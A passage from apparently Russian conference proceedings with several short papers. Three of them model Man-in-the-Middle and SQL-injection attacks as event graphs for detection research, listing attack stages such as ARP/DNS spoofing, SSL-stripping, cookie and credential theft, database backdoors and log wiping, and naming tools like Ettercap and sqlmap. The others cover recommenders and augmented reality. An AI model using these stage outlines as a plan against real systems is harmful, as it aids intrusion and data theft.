подтверждают высокую эффективность персонализированных рекомендаций даже для 
небольших магазинов, где объём данных ограничен, но важна точность предложений. 
Благодаря гибридному подходу (комбинация контентной и коллаборативной фильтра-
ции), система смогла предложить пользователям не только основные товары, но и до-
полнительные комплектующие или аксессуары, что способствовало увеличению сред-
него чека. Внедрение рекомендательной системы стало важным шагом для развития 
бизнеса, позволив повысить лояльность клиентов и укрепить конкурентные преимуще-
ства магазина, а также повысить продажи и улучшить качество взаимодействия с поку-
пателями. Описанный кейс демонстрирует, что такие технологии могут быть успешно 
адаптированы для малых и средних интернет-магазинов, предоставляя им возможность 
конкурировать с крупными игроками рынка электронной коммерции. 
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Аннотация. В статье рассматриваются различные сценарии атак типа Man-in-the-Middle 
(MitM), которые представляют собой одну из самых опасных угроз в области сетевой 
безопасности. С помощью событийно-ориентированных моделей поведения анализиру-
ется процесс перехвата и модификации данных, а также способы защиты от таких атак. 
Рассмотрены атаки через фальшивые DNS-записи, перехват данных в Wi-Fi сетях и дру-
гие методы вмешательства злоумышленников. Особое внимание уделяется параллель-
ным действиям злоумышленников, которые происходят на разных этапах атаки, что поз-
воляет более точно выявить уязвимости и предложить эффективные методы защиты. 
Abstract. This article examines various scenarios of Man-in-the-Middle (MitM) attacks, 
which pose one of the most dangerous threats in the field of network security. Using event-
driven models of attacker behavior, the process of intercepting and modifying data is ana-
lyzed, as well as methods for defending against such attacks. Attacks through fake DNS rec-
ords, data interception in Wi-Fi networks, and other intervention methods are discussed. Spe-
cial attention is given to the parallel actions of attackers that occur at different stages of the 
attack, allowing for a more accurate identification of vulnerabilities and suggesting effective 
protection methods. 
Ключевые слова: MitM-атаки, перехват данных, модификация трафика, безопасность 
сети, DNS Spoofing, моделирование поведения атакующих. 
Keywords: MitM attacks, data interception, traffic modification, network security, DNS 
Spoofing, attacker behavior modeling. 

 
В условиях активного развития информационных технологий и повсеместной 

цифровизации коммуникационных процессов вопросы обеспечения сетевой безопасно-
сти приобретают особую значимость. Одной из наиболее серьёзных угроз в данной об-
ласти являются атаки типа «человек посередине» (Man-in-the-Middle, MitM), суть кото-
рых заключается в перехвате, модификации или подмене данных, передаваемых между 
легитимными участниками взаимодействия. Подобные атаки позволяют злоумышлен-
нику получить несанкционированный доступ к конфиденциальной информации или 
внедрить вредоносный код. Актуальность рассматриваемой проблемы обусловлена как 
ростом количества подобных атак, так и их всё более сложной и скрытной природой. 
MitM-атаки могут реализовываться посредством различных техник – от использования 
уязвимостей в протоколах передачи данных до эксплуатации недостатков в инфра-
структуре публичных сетей. Несмотря на широкое применение современных крипто-
графических средств защиты (в том числе протоколов HTTPS, SSL/TLS и VPN), вектор 
угроз продолжает развиваться: злоумышленники активно используют механизмы обхо-
да таких мер, включая SSL-stripping, ARP-spoofing и DNS-подмену [1, 2]. 

Целью настоящей работы является комплексный анализ сценариев реализации 
MitM-атак на основе событийно-ориентированных моделей поведения злоумышленни-
ка. Такой подход позволяет систематизировать стадии атаки, выявить поведенческие 
паттерны и определить уязвимости, наиболее подверженные эксплуатации. 

Несмотря на достаточную проработанность технических аспектов MitM-атак в 
научной и прикладной литературе, их рассмотрение в контексте моделей поведения 
атакующего встречается сравнительно редко. Это предопределяет как исследователь-
скую новизну, так и прикладную значимость настоящего исследования. 

MitM-атаки могут происходить в различных формах, включая DNS Spoofing, пе-
рехват трафика через незашифрованные каналы, атаки на Wi-Fi-сети и другие методы. 
Для защиты от этих атак активно используются шифрование (например, HTTPS) и сер-
тификаты безопасности, однако, эти меры не всегда достаточны. Многие исследования 
направлены на изучение способов предотвращения перехвата данных, но недостаточно 
внимания уделяется моделированию поведения злоумышленников, что позволяет более 
точно предсказать, где и когда атака может произойти. На практике для осуществления 
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MitM-атак злоумышленники используют широкий спектр специализированного про-
граммного обеспечения. Среди наиболее распространённых инструментов можно вы-
делить такие как Ettercap, mitmproxy, Wireshark, Bettercap, а также расширения для 
браузеров и утилиты командной строки, применяемые в дистрибутивах вроде Kali 
Linux. Эти инструменты позволяют перехватывать и изменять трафик, создавать под-
дельные точки доступа, эмулировать серверы, а также выполнять инъекцию вредонос-
ного содержимого в режиме реального времени. Знание и анализ функциональных воз-
можностей этих средств позволяют более точно моделировать поведение атакующего и 
выявлять точки входа в систему [3]. Событийно-ориентированные модели поведения, 
как правило, фокусируются на действиях злоумышленников, таких как перехват дан-
ных, модификация трафика или инжекция вредоносных данных в процесс обмена ин-
формацией. Этот подход помогает лучше понять возможные риски и вовремя обнару-
жить уязвимости [4]. Чтобы рассмотреть траектории поведения злоумышленника вве-
дем базовые обозначения и понятия.  

Предположим, что существует некоторое количество действий злоумышленника 
pn, ej

n– является событием нарушителя (где j – номер события, i – номер процесса). 
Пусть происходит событие e1

1, взаимодействующее с e2
1. А события e1

2 и e1
3, происхо-

дят параллельно и взаимодействуют с e2
2. Такой подход позволяет описать взаимодей-

ствующие последовательные сценарии с рядом ограничений, накладываемых в модели. 
Схематическое представление событийно-ориентированной модели MitM-атаки 

приведено на рисунке 1. 

 
Рисунок 1 – Представление сценария атаки в виде графа 

Построенная модель логически структурирует этапы атаки, позволяя не только 
зафиксировать последовательность действий, но и отразить возможные ветвления сце-
нариев, параллельность процессов и условные зависимости между событиями. Это осо-
бенно важно в условиях реального времени, когда действия злоумышленника зависят 
от ответов системы, поведения пользователя или конфигурации сетевой среды. Визу-
альное отображение событий в виде графа позволяет формализовать сценарии и ис-
пользовать их как основу для автоматического анализа. На основании данного подхода 
можно выделить условную модель действий злоумышленника, отражающую этапы 
MitM-атаки и их взаимодействие во времени. На рисунке 1 представлен пример такого 
сценарного описания с обозначением типовых событий и их интерпретацией:  

- e1
1 – Определение цели (жертва, сеть, сервис). 

- e2
1 – Сбор информации о протоколах и среде (HTTP, DNS, Wi-Fi). 

- e3
1 – Настройка инструментария (mitmproxy, Wireshark, dnsspoof и пр.). 

- e4
1 – ARP-spoofing в локальной сети. 

- e4
2 – DNS-spoofing (подмена IP). 

- e4
3 – Создание фальшивой Wi-Fi-точки. 

- e4
4 – SSL-stripping / downgrade HTTPS. 

- e4
5 – Использование поддельных TLS-сертификатов. 

- e5
1 – Перехват трафика жертвы. 

- e6
1 – Анализ запросов в реальном времени. 
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- e6
2 – Попытка расшифровки трафика (если применяется TLS). 

- e7
1 – Принятие решения о воздействии на основе проанализированных данных. 

- e8
1 – Кража логинов, токенов, паролей. 

- e8
2 – Подмена содержимого (например, редактирование суммы перевода). 

- e8
3 – Внедрение вредоносного кода в ответ. 

- e8
4 – Сбор аналитики поведения жертвы. 

- e8
5 – Захват cookies / сессионных ID. 

- e9
1 – Переход к завершению после выполнения целевых действий 

- e10
1 – Завершение сеанса перехвата. 

- e10
2 – Очистка логов и следов. 

- e10
3 – Сохранение полученной информации. 

- e11
1 – Завершение атаки и выход из системы 

В ходе проведённого исследования была рассмотрена актуальная проблема 
обеспечения сетевой безопасности в условиях распространения атак типа Man-in-the-
Middle (MitM). В работе была проанализирована природа таких атак, классифицирова-
ны их основные сценарии и выявлены наиболее уязвимые этапы взаимодействия в се-
тевых коммуникациях. 

Автором была разработана событийно-ориентированная модель поведения зло-
умышленника, позволяющая формализовать структуру MitM-атаки как последователь-
ность взаимосвязанных событий. Такой подход обеспечивает более глубокое понима-
ние логики действий атакующего и способствует выявлению уязвимостей на ранних 
стадиях атаки. 

В результате анализа было установлено, что существующие криптографические 
меры защиты (HTTPS, SSL/TLS, VPN) не всегда достаточны при столкновении с усо-
вершенствованными техниками, такими как SSL-stripping, ARP-spoofing и DNS-
подмена. Это подчёркивает необходимость интеграции моделей поведения атакующего 
в системы защиты. Таким образом, в работе была доказана практическая применимость 
событийно-ориентированного подхода для анализа MitM-атак. Выявленные закономер-
ности и сценарии могут служить основой для совершенствования средств мониторинга 
и предотвращения подобных угроз в современных информационных системах. В даль-
нейшем данная модель может быть расширена за счёт включения вероятностных пара-
метров, отражающих степень успешности тех или иных действий атакующего, а также 
интеграции с системами машинного обучения для предиктивного анализа. Это откры-
вает возможности для построения интеллектуальных систем обнаружения атак, спо-
собных адаптироваться к новым угрозам в режиме реального времени. 
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SCENARIO ANALYSIS OF SQL INJECTIONS BASED ON AN EVENT-DRIVEN  
ATTACKER BEHAVIOR MODEL 
 
Аннотация. В статье рассматриваются различные сценарии атак SQL-инъекций, кото-
рые остаются одной из наиболее распространённых угроз в сфере информационной 
безопасности. С помощью событийно-ориентированных моделей поведения злоумыш-
ленников анализируются ключевые этапы атак, включая их параллельное выполнение и 
взаимодействие с целевой системой. Статья охватывает такие сценарии атак, как инъ-
екции через формы ввода, API и модификация данных, подчеркивая важность модели-
рования поведения атакующих для повышения эффективности защиты веб-
приложений. Описываются основные этапы атак и способы их предотвращения с ис-
пользованием современных методов защиты. 
Abstract. This article discusses various scenarios of SQL injection attacks, which remain one 
of the most common threats in information security. Using event-driven models of attacker 
behavior, the key stages of attacks are analyzed, including their parallel execution and interac-
tion with the target system. The article covers attack scenarios such as injections through in-
put forms, APIs, and data modification, emphasizing the importance of modeling attacker be-
havior to improve the effectiveness of web application protection. The main stages of attacks 
and methods for preventing them using modern protection techniques are described. 
Ключевые слова: SQL-инъекции, моделирование поведения злоумышленников, атаки 
на веб-приложения, событийно-ориентированные модели, защита от атак, безопасность 
данных. 
Keywords: SQL injections, attacker behavior modeling, web application attacks, event-driven 
models, attack prevention, data security. 
 

SQL-инъекции остаются одной из наиболее значимых угроз в области информа-
ционной безопасности, особенно в контексте веб-приложений, взаимодействующих с 
базами данных. Актуальность данной проблемы обусловлена тем, что успешная атака 
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позволяет злоумышленнику вмешиваться в процесс выполнения SQL-запросов, полу-
чая доступ к конфиденциальной информации, нарушая целостность данных или полно-
стью обходя механизмы аутентификации. 

Целью настоящей работы является анализ сценариев реализации атак типа SQL-
инъекций на основе событийно-ориентированной модели поведения злоумышленника. 
Такой подход позволяет представить действия атакующего в виде последовательности 
событий, что способствует более точному прогнозированию уязвимостей и повышает 
эффективность защиты. Несмотря на широкую представленность темы SQL-инъекций в 
научной и прикладной литературе, аспекты, связанные с поведенческим моделировани-
ем атакующих в рамках событийной логики, исследованы недостаточно. Это определя-
ет, как научную новизну, так и практическую значимость настоящего исследования. 

SQL-инъекции были впервые зафиксированы в начале 2000-х годов и с тех пор 
остаются одной из наиболее распространённых угроз в сфере информационной без-
опасности. Существенную роль в защите от таких атак играют методы валидации вход-
ных данных и использование подготовленных запросов. Тем не менее, даже с учетом 
современных методов защиты, многие системы остаются уязвимыми для инъекций [1]. 

Существует несколько подходов к моделированию поведения злоумышленни-
ков, включая динамическое и статическое анализирование поведения атакующих. 
Например, метод подготовки атакующих сценариев (например, через инструмент 
sqlmap) позволяет моделировать атаки на конкретные части системы, включая веб-
формы, API и базы данных. 

Для реализации SQL-инъекций злоумышленники применяют разнообразные 
программные средства, включая такие утилиты, как sqlmap, Havij, jSQL, SQLNinja, а 
также комплексы тестирования безопасности вроде Burp Suite и OWASP ZAP. Эти ин-
струменты позволяют выполнять автоматический анализ уязвимостей, формировать 
вредоносные запросы, обходить фильтрацию и осуществлять инъекции с минимальны-
ми трудозатратами. Знание их функциональности помогает формировать реалистичную 
модель поведения атакующего [2]. 

В то же время важно понимать, что моделирование с использованием событий-
но-ориентированных моделей может помочь отслеживать не только действия зло-
умышленника, но и последовательность событий, связанных с атакой. Однако, несмот-
ря на успехи в разработке методов защиты, остаются нерешёнными вопросы, касающи-
еся глубоких и многогранных атак, что требует дальнейших исследований [3]. 

Традиционные модели анализа атак часто представляют действия злоумышлен-
ника как линейный набор шагов, лишённый гибкости и возможности учёта нестандарт-
ных сценариев. Однако, в реальных условиях действия атакующих редко бывают стро-
го последовательными: они могут возвращаться к предыдущим шагам, выполнять об-
ходные манёвры или запускать параллельные цепочки действий. Событийно-
ориентированные модели позволяют учитывать эти особенности, отображая атаки в 
виде графов, где узлы соответствуют событиям, а рёбра – их взаимосвязям. Такой под-
ход обеспечивает более точное и адаптивное представление реальных угроз. Чтобы 
рассмотреть траектории поведения злоумышленника введем базовые обозначения и 
понятия. Предположим, что существует некоторое количество действий злоумышлен-
ника pn, ej

i– является событием нарушителя (где j – номер события, i – номер процесса). 
Пусть происходит событие e1

1, взаимодействующее с e2
1. А события e1

2 и e1
3, происхо-

дят параллельно и взаимодействуют с e2
2. Такой подход позволяет описать взаимодей-

ствующие последовательные сценарии с рядом ограничений, накладываемых в модели. 
 Схематическое представление событийно-ориентированного сценария SQL-

инъекции приведено на рисунке 1. Графическая форма позволяет наглядно представить 
структуру и логику атакующего поведения, включая параллелизм и переходы между 
этапами атаки [4]. 
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Использование событийно-ориентированной модели позволяет не только фик-
сировать хронологию атаки, но и учитывать ветвления и параллельные действия зло-
умышленника. Это особенно актуально для сложных сценариев, в которых атакующий 
может одновременно использовать несколько точек входа в систему или чередовать 
методы воздействия в зависимости от отклика целевой системы. Ниже приведён при-
мер событийно-ориентированной модели реализации SQL-инъекции, в которой каждое 
событие отражает конкретный этап или действие злоумышленника [5]: 

- e1
1 – Определение цели и анализ доступных точек входа. 

- e2
1 – Сканирование на наличие уязвимостей, настройка инструментов. 

- e3
1 – Ввод инъекции через веб-форму. 

- e3
2 – Ввод инъекции через URL-параметр. 

- e3
3 – Ввод инъекции через API. 

- e4
1 – Анализ ответа от сервера, эскалация инъекции. 

- e5
1 – Получение информации о таблицах. 

- e5
2 – Получение содержимого таблиц. 

- e6
1 – Получение административного доступа или создание учётной записи. 

- e7
1 – Установка бэкдора в базе данных. 

- e7
2 – Создание персистентного триггера  

- e8
1 – Обеспечение устойчивости сессии, скрытие следов. 

- e9
1 – Извлечение данных (например, пароли, личная информация). 

- e9
2 – Модификация данных (например, изменение записей). 

- e9
3 – Удаление данных. 

- e9
4 – Вставка вредоносных данных (например, фальшивые записи или внедре-

ние XSS). 
- e9

5 – Подготовка к дополнительным атакам (например, RCE или внедрение 
бэкдора). 

- e10
1 – Очистка следов (удаление временных файлов, логов). 

- e11
1 – Закрытие сессии, уход из системы. 

 
Рисунок 1 – Схема реализации SQL-инъекций 

Следует отметить, что SQL-инъекции нередко выступают не как конечная цель 
атаки, а как промежуточный этап более сложных и комплексных вторжений. Получив 
доступ к базе данных, злоумышленник может внедрить вредоносный JavaScript-код 
(XSS), инициировать удалённое выполнение команд (RCE) или использовать получен-
ные учётные данные для атак на другие сервисы (Credential Stuffing). Это подчёркивает 
важность анализа SQL-инъекций не изолированно, а в контексте мультивекторных 
атак, где события развиваются не линейно, а в виде взаимосвязанных ветвей. 

В ходе проведённого исследования была рассмотрена одна из наиболее распро-
странённых и опасных уязвимостей веб-приложений – атаки типа SQL-инъекций. В ра-
боте был выполнен анализ этапов подобных атак с применением событийно-
ориентированного подхода к моделированию поведения злоумышленника. Автором 
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была разработана условная модель, отражающая логическую структуру атакующего 
воздействия на систему, включая как последовательные, так и параллельные действия. 
В результате анализа было выявлено, что представление атаки в виде сценарного графа 
позволяет более точно идентифицировать уязвимости и предсказывать возможные век-
торы развития атаки. Практическая значимость работы заключается в том, что предло-
женный подход может быть применён в системах обнаружения вторжений и анализа-
торах событий безопасности, повышая их способность к раннему выявлению угроз и 
снижению рисков. В перспективе дальнейшее развитие модели с использованием мето-
дов машинного обучения позволит реализовать интеллектуальные средства защиты, 
адаптирующиеся к новым типам SQL-атак. 
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EVENT-DRIVEN MODELING OF ATTACKER BEHAVIOR: APPROACHES  
AND CHALLENGES 
 
Аннотация. В условиях стремительного усложнения информационных систем и увели-
чения количества атак на них, традиционные средства защиты теряют свою эффектив-
ность. В статье рассматриваются современные подходы к моделированию поведения 
злоумышленников на основе анализа последовательностей событий. Обозначены клю-
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чевые исследования в этой области, проанализированы их сильные и слабые стороны. 
Особое внимание уделено проблемам адаптивности моделей, ложноположительным 
срабатываниям, а также сложности интеграции с существующими средствами монито-
ринга и реагирования. Делается вывод о необходимости разработки гибких событийно-
ориентированных моделей, способных учитывать изменчивость угроз и объединять 
данные из различных источников. 
Abstract. As information systems become increasingly complex and the number of attacks on 
them grows, traditional security mechanisms are losing their effectiveness. This article ex-
plores current approaches to modeling attacker behavior based on the analysis of event se-
quences. Key research works in the field are reviewed, highlighting both their strengths and 
limitations. Special attention is paid to challenges such as model adaptability, false positives, 
and the difficulty of integrating behavioral models with existing monitoring and response 
tools. The article concludes by emphasizing the need for flexible event-driven models capable 
of accounting for dynamic threats and aggregating data from multiple sources. 
Ключевые слова: информационная безопасность, атаки на информационные системы, 
поведенческое моделирование, событийно-ориентированные модели, анализ угроз, 
адаптивные системы защиты, машинное обучение. 
Keywords: information security, attacks on information systems, behavioral modeling, event-
driven models, threat analysis, adaptive protection systems, machine learning. 
 

Информационные системы играют ключевую роль в функционировании органи-
заций различных секторов, от здравоохранения до государственного управления. Эти 
системы обеспечивают эффективное управление данными и процессами, что делает их 
критически важными для стабильной работы организаций. Однако с развитием техно-
логий и увеличением объёмов передаваемой информации, значительно возросло коли-
чество угроз, направленных на их нарушение. Атаки становятся всё более сложными, 
что создаёт серьёзные риски для безопасности данных и репутации компаний. Тради-
ционные методы защиты, такие как сигнатурный анализ, постепенно теряют свою эф-
фективность в условиях появления динамичных угроз. Существующие механизмы за-
щиты, ориентированные на известные атаки, не всегда справляются с адаптивными 
угрозами, такими как неизвестные уязвимости. Это подчёркивает необходимость в пе-
реходе к более адаптивным методам защиты, которые могут учитывать изменения в 
характере атак. Одним из таких методов является событийно-ориентированное модели-
рование поведения злоумышленников, которое позволяет анализировать последова-
тельности атак и предсказывать угрозы на основе выявленных закономерностей. Этот 
подход способствует более гибкому определению векторов атаки и повышает эффек-
тивность защиты. Цель работы – проанализировать существующие событийно-
ориентированные модели, выявить их сильные и слабые стороны, а также предложить 
направления для дальнейшего развития методов защиты, основанных на этих моделях. 
Степень разработанности темы показывает наличие значительного числа исследований, 
однако остаются нерешёнными вопросы интеграции этих моделей с существующими 
системами защиты и их адаптивности к новым типам атак [1]. 

Событийно-ориентированное моделирование поведения злоумышленников 
представляет собой один из наиболее эффективных методов повышения уровня без-
опасности информационных систем. В отличие от традиционных методов, которые фо-
кусируются на выявлении и блокировке известных угроз, событийно-ориентированное 
моделирование позволяет анализировать последовательность действий атакующего, 
выделяя ключевые этапы и механизмы атак. Этот подход предлагает более глубокое 
понимание того, как злоумышленники взаимодействуют с системами и какие уязвимо-
сти они могут использовать на каждом этапе атаки. Важной особенностью является 
возможность прогнозирования дальнейших шагов атакующего на основе выявленных 
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закономерностей, что даёт возможность принять более адекватные меры защиты. Од-
ной из главных проблем, с которыми сталкиваются специалисты в области информаци-
онной безопасности, является адаптация существующих моделей поведения злоумыш-
ленников к постоянно меняющимся условиям. Атаки становятся всё более сложными и 
многослойными, и традиционные модели, опирающиеся на статические правила и сиг-
натуры, не всегда могут справиться с новыми угрозами. Например, атаки с использова-
нием нулевых дней или сложные многовекторные атаки, которые включают в себя не-
сколько этапов, сложно смоделировать с использованием старых методов, что подни-
мает вопросы о необходимости перехода к более динамичным и адаптивным моделям. 
Событийно-ориентированное моделирование позволяет эффективно справляться с эти-
ми вызовами, так как оно строится на учёте всего хода атаки. Каждое событие в модели 
является отдельным этапом взаимодействия атакующего с системой. Это позволяет не 
только выявить текущую угрозу, но и спрогнозировать её развитие. Например, если на 
первом этапе атаки злоумышленник использует фишинг для получения доступа к учёт-
ным данным, то на следующем этапе можно ожидать попытку использования этих дан-
ных для доступа к критическим ресурсам системы. Это даёт системам защиты возмож-
ность не только своевременно реагировать на атаку, но и заранее блокировать шаги 
атакующего, предотвращая дальнейшее распространение угрозы [2]. Интеграция собы-
тийно-ориентированных моделей с системами обнаружения и предотвращения вторже-
ний (IDS/IPS) является важным направлением для повышения эффективности защиты. 
В отличие от традиционных систем, которые лишь фиксируют факт вторжения, такие 
модели позволяют отслеживать последовательность действий злоумышленника, выяв-
лять паттерны поведения и блокировать угрозу на ранних стадиях её реализации. Это 
особенно важно в случае с многоступенчатыми атаками, где каждый этап может быть 
связан с различными инструментами и методами, что требует от системы защиты вы-
сокой гибкости и способности адаптироваться к меняющимся условиям. 

Однако интеграция событийно-ориентированных моделей с существующими си-
стемами защиты остаётся сложной задачей. Во-первых, такие модели требуют значи-
тельных вычислительных ресурсов, так как необходимо обрабатывать огромные объё-
мы данных в реальном времени. Во-вторых, ложные срабатывания и высокая чувстви-
тельность к изменениям в поведении атакующих остаются одной из ключевых проблем. 
Часто системы, основанные на этих моделях, могут ошибочно идентифицировать дей-
ствия легитимных пользователей как угрозу, что приводит к ненужным блокировкам и 
снижению эффективности работы системы в целом. 

Тем не менее, на текущий момент наблюдается активное развитие гибридных 
моделей, которые сочетают в себе элементы событийно-ориентированного подхода и 
методы машинного обучения. Такие системы способны адаптироваться к новым типам 
атак, обрабатывая большие объёмы данных и прогнозируя потенциальные угрозы [3]. 
Интеллектуальные системы, использующие машинное обучение, могут не только ана-
лизировать события в реальном времени, но и предсказывать будущие угрозы, что зна-
чительно повышает уровень безопасности и снижает вероятность успешных атак. При 
этом важным фактором является обучение системы на реальных данных о поведении 
злоумышленников, что позволяет постоянно улучшать её эффективность. Не менее 
важным аспектом является использование событийно-ориентированных моделей в 
рамках комплексных систем защиты, включающих в себя криптографию, контроль до-
ступа и системы мониторинга. Взаимодействие этих компонентов позволяет создать 
многоуровневую защиту, где каждый слой отвечает за определённую часть системы 
безопасности, обеспечивая тем самым более высокий уровень защиты и снижая риски 
успешных атак. Например, в случае с атакой на базу данных, где злоумышленник мо-
жет использовать SQL-инъекцию для получения доступа к конфиденциальной инфор-
мации, события модели будут отслеживать не только факт использования уязвимости, 
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но и последовательность действий, позволяя быстро определить источник атаки и за-
блокировать его [4]. 

Однако, несмотря на значительный прогресс в области событийно-
ориентированного моделирования, существует несколько нерешённых проблем, кото-
рые требуют дальнейшего внимания. Одной из них является необходимость оптимиза-
ции алгоритмов анализа данных, чтобы снизить нагрузку на вычислительные ресурсы 
системы. Также остаются открытыми вопросы улучшения точности предсказаний, а 
также адаптации моделей к новым, ранее не зафиксированным атакам. В будущем, с 
развитием технологий машинного обучения и улучшением вычислительных мощно-
стей, можно ожидать значительное улучшение этих показателей, что позволит значи-
тельно повысить эффективность систем защиты. 

Таким образом, событийно-ориентированное моделирование поведения зло-
умышленников представляет собой перспективное направление в области информаци-
онной безопасности. Этот подход, несмотря на существующие проблемы, может значи-
тельно повысить эффективность защиты информационных систем, позволяя не только 
своевременно обнаруживать угрозы, но и предотвращать их ещё до того, как они смо-
гут нанести ущерб. В дальнейшем интеграция таких моделей с системами машинного 
обучения и искусственного интеллекта откроет новые горизонты для развития техноло-
гий защиты от угроз [5]. 

В ходе проведённого исследования было рассмотрено применение событийно-
ориентированных моделей поведения злоумышленников в области информационной 
безопасности. Целью работы было проанализировать существующие подходы, выявить 
их сильные и слабые стороны, а также определить направления для дальнейшего разви-
тия методов защиты. Авторами было доказано, что такие модели представляют собой 
важный инструмент для улучшения безопасности информационных систем, так как 
позволяют не только анализировать действия атакующего, но и прогнозировать его 
дальнейшие шаги на основе выявленных закономерностей. Было выявлено, что основ-
ными проблемами событийно-ориентированных моделей являются недостаточная 
адаптивность к новым типам атак, сложности с интеграцией моделей в существующие 
системы защиты и высокая частота ложноположительных срабатываний. Эти факторы 
ограничивают эффективность применения таких моделей в реальных условиях. Не-
смотря на это, авторы работы пришли к выводу, что в будущем развитие гибридных 
подходов, использующих машинное обучение и искусственный интеллект, поможет 
преодолеть эти проблемы и повысить точность предсказаний, а также оперативность 
реагирования на угрозы. Таким образом, в работе было предложено, что успешная ин-
теграция событийно-ориентированных моделей с существующими средствами защиты 
и их адаптация к современным угрозам требует дальнейших исследований и оптимиза-
ции алгоритмов. В долгосрочной перспективе использование таких моделей в сочета-
нии с другими методами защиты обеспечит более высокую степень безопасности ин-
формационных систем и поможет справиться с новыми вызовами в сфере угроз. 
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Аннотация. В современном мире системы дополненной реальности становятся актуальнее 
с каждым годом. Они открывают новые возможности для взаимодействия с миром через 
виртуальное пространство. Целью статьи является разработка программного модуля визу-
ализации дополненной реальности. В статье рассматривается технология для просмотра 
видеопотока 3D-модели, транслируемого с Server3D, отправление запросов на управление 
этой моделью, а также наложение двух видеопотоков друг на друга. В созданном прило-
жении решен вопрос получения актуальной информации и удаленного управления сбор-
кой NX. Так же решён вопрос наложения видеопотока с камеры и видеопотока с сервера. 
Благодаря чему пользователь может выполнять все перечисленные действия, не отходя от 
изделия. 
Annotation. In the modern world, augmented reality systems are becoming more relevant every 
year. They open up new opportunities for interacting with the world through virtual space. The 
purpose of the article is to develop a software module for augmented reality visualization. The 
article discusses a technology for viewing a 3D model video stream broadcast from Server3D, 
sending requests to manage this model, as well as superimposing two video streams on top of 
each other. In the created application, the issue of obtaining up-to-date information and remote 
control of the NX assembly has been resolved. The issue of overlapping the video stream from the 
camera and the video stream from the server has also been resolved. This allows the user to per-
form all of these actions without leaving the product. 
Ключевые слова: дополненная реальность, разработка, видеопоток, удалённое управление, 
актуальная информация. 
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Актуальность данной работы обусловлена необходимостью применения техно-

логий дополненной реальности, повышающих производительность труда за счёт увели-
чения информационности изделия [1]. Целью статьи является разработка программного 
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модуля визуализации дополненной реальности. Целями создания программного обес-
печения являются получение актуальной информации о сборке, удаленное управлению 
сборкой на портативном устройстве, наложение видеопотока с камеры и видеопотока с 
сервера визуализации, сокращение временных затрат связанных с составлением эскизов 
продукции. В статье рассматривается технология для просмотра видеопотока 3D-
модели, транслируемого с Server3D, отправление запросов на управление этой моде-
лью, а также наложение видеопотоков.  

Дополненная реальность от английского augmented reality – результат введения в 
зрительное поле любых сенсорных данных с целью дополнения сведений об окружении 
и изменения восприятия окружающей среды [2]. 

Дополненная реальность – воспринимаемая смешанная реальность, создаваемая 
с помощью компьютера с использованием «дополненных» элементов воспринимаемой 
реальности, когда реальные объекты монтируются в поле восприятия. 

До внедрения программного обеспечения (ПО) производственный процесс акту-
ализации изменений в конструкции изделия, для рабочего на производственном участ-
ке требовал предоставлять рабочему эскизы изделия, для технологу необходимо было 
создавать скриншоты и карты эскизов, исправлять карты технологического процесса, 
распечатывать их и передать рабочим, это все мало время. в течение которого в цехе 
работы продолжались по старым, не актуализированным технологиям, что приводило к 
возникновению брака. С использованием прямого доступа к 3D-моделям после внедре-
ния ПО обеспечит рабочему прямой доступ к актуальной 3D-модели, что устранит вре-
менные задержки актуализации технологических карт. 

Данное программное обеспечение предназначено для удаленного получения 
данных и управления 3D-моделью в среде Siemens NX на рабочей станции с портатив-
ного устройства. Приложение может быть использовано пользователями, владеющими 
базовым уровнем взаимодействия с прикладным программным обеспечением, позволяя 
подключаться к серверу и отправлять команды на удаленное управление моделью в 
CAD-системе. 

В настоящее время реализована базовая версия сервера визуализации, позволя-
ющая транслировать изображения из CAD-систем, использующих библиотеку OpenGL 
в клиентское приложение с использованием технологии WebRTC (видео кодируется 
кодеком h264). Работа сервера успешно проверена под системой NX 10/12. Так же реа-
лизовано клиентское приложение в виде web-сайта, позволяющее устанавливать соеди-
нение с Server3D и получать видеопоток, а также осуществлять управление 3D сценой. 
Однако для взаимодействия сервера визуализации с мобильными платформами требу-
ется разработка дополнительного модуля под Unity3D.  

В конечном результате на выделенном ПК запускается NX и загружается необ-
ходимая сборка из Teamcenter. В NX запускается Server3D. На мобильных устройствах 
с поддержкой ARCore пользователи открывают Unity-приложение, которое подключа-
ется к NX и позиционирует 3D модель в пространстве и осуществляет отслеживание. 
Пользователь с помощью сенсорного экрана может управлять 3D сценой: вращать, пе-
ремещать, отдалять, изменять видимость компонентов, выбирать компоненты. По вы-
бранному компоненту пользователь может получать доступную аттрибутивную ин-
формацию. 

Среди аналогов разрабатываемого ПО на рынке существует Siemens 
Visualization Server, который является инструментом, предназначенным исключительно 
для работы с JT-файлами, которые используются для «легкого» представления CAD-
моделей [3]. Он позволяет лишь просматривать файлы сборок, так как они не предна-
значены для моделирования. Однако, конструкторы и технологи работают в системе 
NX и создают свои CAD-модели и сборки в формате .prt. Это означает, что для работы 
с Siemens Server Visualization, необходимо для каждого prt-файла создать его JT-
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представление «легкое» представление». Сборочный prt-файл может содержать под-
сборки – другие prt-файлы, формируя дерево сборки. Иногда условный prt-файл «A» 
использует геометрию из другого prt-файла «B». В этом случае для обоих файлов гене-
рируются JT-представления, которые встраиваются в файлы. Если владелец файла «B» 
изменяет геометрию, то система NX автоматически обновляет ее в файле «A» без необ-
ходимости сохранения. Однако JT-представление не обновляется автоматически – для 
этого требуются соответствующие права. Эту операцию должен выполнить владелец 
файла «A». Таким образом, использование визуализатора Siemens сильно ограничено, а 
разрабатываемое ПО будет более эффективным и удобным в работе с исходными фай-
лами, то есть с prt-файлами. 

Также, есть приложение more3d, ориентированное на работу с исходными дан-
ными, что позволяет избежать лишних этапов преобразования файлов. Встроенный ме-
ханизм управления 3D сценой позволяет пользователю оперативно изменять видимость 
и положение компонентов, но не позволяющий совмещать видео с камеры устройства с 
видеопотоком сервера. Облачные вычисления NVIDIA Cloud обладают высокой произ-
водительностью, но не предлагают готовых решений для интеграции с AR и NX без до-
полнительной доработки. Разработанное программное обеспечение осуществляет пото-
ковую передачу 3D-модели с сервера в Unity3D, обеспечивая обратное управление сце-
ной (вращение, перемещение, зум модели), имея возможность совмещения видео-
потока с камеры устройства и передаваемой модели в AR, динамически получая струк-
туру сборки модели с возможностью управления её элементами. Так же оно работает с 
исходными prt-файлами без необходимости в конвертации. 

Логика работы сервера и клиента представляет из себя обмен сообщениями, ко-
торые приходят в виде json-строк с кодовыми словами, передающимися через 
WebSocket, который позволяет устанавливать постоянное соединение между клиентом 
и сервером. Благодаря этому клиент и сервер понимают, что делать с получаемой ин-
формацией: выполнить с ней какую-то операцию или вывести ее в какое-то окно. Ви-
деопоток с сервера визуализации передается с помощью технологии WebRTC, позво-
ляющей напрямую передавать аудио, видео и данные между клиентами без участия 
